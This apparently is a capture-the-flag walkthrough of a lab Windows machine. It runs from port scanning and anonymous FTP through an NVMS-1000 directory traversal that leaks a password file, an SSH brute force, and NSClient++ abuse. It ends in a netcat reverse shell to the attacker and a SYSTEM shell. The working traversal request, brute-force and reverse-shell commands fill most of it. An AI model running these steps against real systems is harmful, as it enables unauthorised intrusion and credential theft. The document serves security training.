

```
root@kali:~/Masaüstü# nmap -sS -sV -p- -T4 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-16 17:02 +03
Nmap scan report for 10.10.10.184
Host is up (0.070s latency).
Not shown: 65517 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
22/tcp    open  ssh          OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp    open  http
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
5666/tcp  open  tcpwrapped
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
7680/tcp  open  pando-pub?
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
```

```
root@kali:~/Masaüstü# ftp 10.10.10.184
Connected to 10.10.10.184.
220 Microsoft FTP Service
Name (10.10.10.184:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:05PM <DIR> Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:06PM <DIR> Nadine
01-18-20 12:08PM <DIR> Nathan
226 Transfer complete.
ftp> cd Nadine
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:08PM 1/4 Confidential.txt
226 Transfer complete.
ftp> get Confidential.txt
local: Confidential.txt remote: Confidential.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
174 bytes received in 0.07 secs (2.4146 kB/s)
ftp> cd ..
250 CWD command successful.
ftp> cd Nathan
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:10PM 186 Notes to do.txt
226 Transfer complete.
ftp> get "Notes to do.txt"
local: Notes to do.txt remote: Notes to do.txt
```

```
root@kali:~/Masaüstü# cat Confidential.txt
```

Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

```
Nadineroot@kali:~/Masaüstü#
```

```
root@kali:~/Masaüstü#
```

```
root@kali:~/Masaüstü# cat Notes\ to\ do.txt
```

- 1) Change the password for NVMS - Complete
- 2) Lock down the NSClient Access - Complete
- 3) Upload the passwords
- 4) Remove public access to NVMS
- 5) Place the secret files in SharePoint

```
root@kali:~/Masaüstü#
```

```
root@kali:~/Masaüstü#
```

```
root@kali:~/Masaüstü# searchsploit NVMS
```

Exploit Title	Path (/usr/share/exploitdb/)
NVMS 1000 - Directory Traversal	exploits/hardware/webapps/47774.txt
OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modification	exploits/multiple/local/21856.txt
OpenVms 8.3 Finger Service - Stack Buffer Overflow	exploits/multiple/dos/32193.txt

```
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan T<C3><BC>rle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
```

POC

-----

```
GET ../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
```

```
Host: 12.0.0.1
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
```

```
Accept-Encoding: gzip, deflate
```

```
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
```

```
Connection: close
```



Send

Cancel

&lt; | ▾

&gt; | ▾

## Request

Raw Params Headers Hex

```
1 GET ../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
2 Host: 10.10.10.184
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://10.10.10.184/
8 Connection: close
9 Cookie: dataPort=6063
10 Upgrade-Insecure-Requests: 1
11
12
```

## Response

Raw Headers Hex Render

```
1 HTTP/1.1 200 OK
2 Content-type: text/plain
3 Content-Length: 156
4 Connection: close
5 AuthInfo:
6
7 Insp3ctTh3Way2Mars!
8 Th3r34r3To0M4nyTrait0r5!
9 B3WithM30r4gaIn5tMe
10 L1k3B1gBut7s@W0rk
11 Only7h3y0unGWi1lF0l10w
12 IfH3s4b0Ut g0t 0H1sH0me
13 Gr4etN3w5w17hMySk1Pa5$
```

```
root@kali:~/Masaüstü# hydra -L users.txt -P passwords.txt 10.10.10.184 ssh -vv
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-16 17:17:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:2/p:7), ~1 try per task
[DATA] attacking ssh://10.10.10.184:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://nathan@10.10.10.184:22
[INFO] Successful, password authentication is supported by ssh://10.10.10.184:22
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: disconnected
[ERROR] ssh protocol error
[STATUS] attack finished for 10.10.10.184 (waiting for children to complete tests)
[VERBOSE] Retrying connection for child 12
[22][ssh] host: 10.10.10.184 login: nadine password: L1k3B1gBut7s@W0rk
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-16 17:17:24
```

Microsoft Windows [Version 10.0.18363.752]  
(c) 2019 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>cd Desktop

nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt  
5c96b958203ee1f12c5b7eb3dc48dcd3

nadine@SERVMON C:\Users\Nadine\Desktop>



```
root@kali:~/Downloads/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASbat# scp winPEAS.bat nadine@10.10.10.184:/users/nadine/downloads
```

```
nadine@10.10.10.184's password:
```

```
Permission denied, please try again.
```

```
nadine@10.10.10.184's password:
```

```
winPEAS.bat
```

```
100% 32KB 3.0KB/s 00:10
```



```
--> [+] INSTALLED SOFTWARE <--
[i] Some weird software? Check for vulnerabilities in unknow software installed
[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software
Common Files
Common Files
InstallShield Installation Information
Internet Explorer
Internet Explorer
Microsoft.NET
ModifiableWindowsApps
NSClient++
NVMS-1000
Reference Assemblies
Reference Assemblies
UNP
VMware
Windows Defender
Windows Defender
Windows Defender Advanced Threat Protection
Windows Mail
Windows Mail
Windows Multimedia Platform
Windows Multimedia Platform
Windows NT
Windows NT
Windows Photo Viewer
Windows Photo Viewer
Windows Portable Devices
Windows Portable Devices
Windows Security
WindowsPowerShell
WindowsPowerShell
    InstallLocation    REG_SZ    C:\Program Files\VMware\VMware Tools\
    InstallLocation    REG_SZ    C:\Program Files (x86)\NVMS-1000\
    InstallLocation    REG_SZ    C:\Program Files (x86)\NVMS-1000\
```

```
root@kali:~/Masaüstü# searchsploit NSClient
```

Exploit Title	Path
installed with Web Server enabled, local low privilege users have the ability to read the web administrator's password in cleartext	(/usr/share/exploits/windows/lo
NSClient++ 0.5.2.35 - Privilege Escalation	exploits/windows/lo
Shellcodes: No Result	

```
root@kali:~/Masaüstü#
```



Exploit:

1. Grab web administrator password
  - open c:\program files\nsclient++\nsclient.inior
  - run the following that is instructed when you select forget password  
C:\Program Files\NSClient++>nscp web -- password --display  
Current password: SoSecret
2. Login and enable following modules including enable at startup and save configuration
  - CheckExternalScripts
  - Scheduler
3. Download nc.exe and evil.bat to c:\temp from attacking machine
  - @echo off
  - c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe
4. Setup listener on attacking machine
  - nc -nlvvp 443
5. Add script foobar to call evil.bat and save settings
  - Settings > External Scripts > Scripts
  - Add New
    - foobar
    - command = c:\temp\evil.bat
6. Add schedulede to call script every 1 minute and save settings
  - Settings > Scheduler > Schedules
  - Add new
    - foobar
    - interval = 1m
    - command = foobar
7. Restart the computer and wait for the reverse shell on attacking machine
  - nc -nlvvp 443
  - listening on [any] 443 ...
  - connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671
  - Microsoft Windows [Version 10.0.17134.753]
  - (c) 2018 Microsoft Corporation. All rights reserved.
  - C:\Program Files\NSClient++>whoami
  - whoami
  - nt authority\system



```
nadine@SERVMON C:\Program Files\NSClient++>nscp web -- password --display  
Current password: ew2x6SsGTxjRwXOT
```

```
nadine@SERVMON C:\Temp: echo c:\temp\nc.exe 10.10.14.26 2586 -e cmd.exe > ff.bat
```

```
nadine@SERVMON C:\Temp> type ff.bat  
c:\temp\nc.exe 10.10.14.26 2586 -e cmd.exe
```

```
nadine@SERVMON C:\Temp> url -s -k -u admin:ew2x6SsGTxjRwXOT -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/ff.bat --data-binary @ff.bat  
'url' is not recognized as an internal or external command,  
operable program or batch file.
```

```
nadine@SERVMON C:\Temp: curl -s -k -u admin:ew2x6SsGTxjRwXOT -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/ff.bat --data-binary @ff.bat  
Added ff as scripts\ff.bat  
nadine@SERVMON C:\Temp>
```

```
root@kali: ~/Masaüstü# curl -s -k -u admin:ew2x6SsGTxjRwX0T https://localhost:8443/api/v1/queries | python -m json.tool
```

```
[
  {
    "description": "Check status of scheduled jobs.",
    "metadata": {},
    "name": "check_tasksched",
    "query_url": "https://localhost:8443/api/v1/queries/check_tasksched/",
    "title": "check_tasksched"
  },
  {
    "description": "Legacy version of check_tasksched",
    "metadata": {},
    "name": "checktasksched",
    "query_url": "https://localhost:8443/api/v1/queries/checktasksched/",
    "title": "CheckTaskSched"
  },
  {
    "description": "Alias for: scripts\\doit",
    "metadata": {},
    "name": "doit",
    "query_url": "https://localhost:8443/api/v1/queries/doit/",
    "title": "doit"
  },
  {
    "description": "Alias for: scripts\\evil.bat",
    "metadata": {},
    "name": "evil",
    "query_url": "https://localhost:8443/api/v1/queries/evil/",
    "title": "evil"
  },
  {
    "description": "Alias for: scripts\\ff.bat",
    "metadata": {},
    "name": "ff",
    "query_url": "https://localhost:8443/api/v1/queries/ff/",
    "title": "ff"
  },
]
```

```
root@kali:~/Masaüstü# nc -lvp 2586
```

```
listening on [any] 2586 ...
```

```
10.10.10.184: inverse host lookup failed: Unknown host
```

```
connect to [10.10.14.26] from (UNKNOWN) [10.10.10.184] 49792
```

```
Microsoft Windows [Version 10.0.18363.752]
```

```
(c) 2019 Microsoft Corporation. All rights reserved.
```

```
C:\Program Files\NSClient++>whoami
```

```
whoami
```

```
nt authority\system
```

```
C:\Program Files\NSClient++>type c:\users\administrator\desktop\root.txt
```

```
type c:\users\administrator\desktop\root.txt
```

```
0aba4429d0262fbff7623d25dc9f1dc7
```